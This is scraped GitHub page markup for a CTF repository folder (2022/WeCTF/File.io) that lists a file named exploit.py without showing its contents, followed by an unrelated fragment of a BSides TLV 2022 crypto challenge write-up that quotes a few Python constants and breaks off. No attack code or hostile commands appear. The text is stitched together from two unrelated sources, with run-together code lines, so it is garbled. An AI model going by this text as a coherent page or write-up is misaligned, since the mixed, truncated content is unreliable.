<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/NGA99/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":389483395,"originating_url":"https://github.com/NGA99/CTF/tree/main/2022/WeCTF/File.io","user_id":null}}" data-hydro-click-hmac="25eb8dff5aec9024a7d555c083aea5f8e96b85e9e3ec0bf07d580cb7c6196b14"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/NGA99/CTF/refs" cache-key="v0:1644842005.928437" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TkdBOTkvQ1RG" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/NGA99/CTF/refs" cache-key="v0:1644842005.928437" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TkdBOTkvQ1RG" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>2022</span></span><span>/</span><span><span>WeCTF</span></span><span>/</span>File.io<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>2022</span></span><span>/</span><span><span>WeCTF</span></span><span>/</span>File.io<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/NGA99/CTF/tree-commit/7bc0ea1bd8591d9209c81d44d656edfed51b14ee/2022/WeCTF/File.io" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">Â </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/NGA99/CTF/file-list/main/2022/WeCTF/File.io"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.â.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">Â </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">Â </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canât perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# BSides TLV CTF 2022 - [https://ctf22.bsidestlv.com/](https://ctf22.bsidestlv.com/)Crypto, 100 Points
## Description

Attached file [challenge.py](challenge.py)
## Medium_Expectations Solution
By observing the attached file we can see the following code:```pythonimport randomimport hashlibimport flag
START_NUM_OF_PEOPLE = 60PERFECT_SHOW = 2000MAX_NUM_GAMES = 3000RIGHT_GUESS = 60WRONG_GUESS = 1NUM_OF_SUITS = 4NUM_OF_VALUES = 13
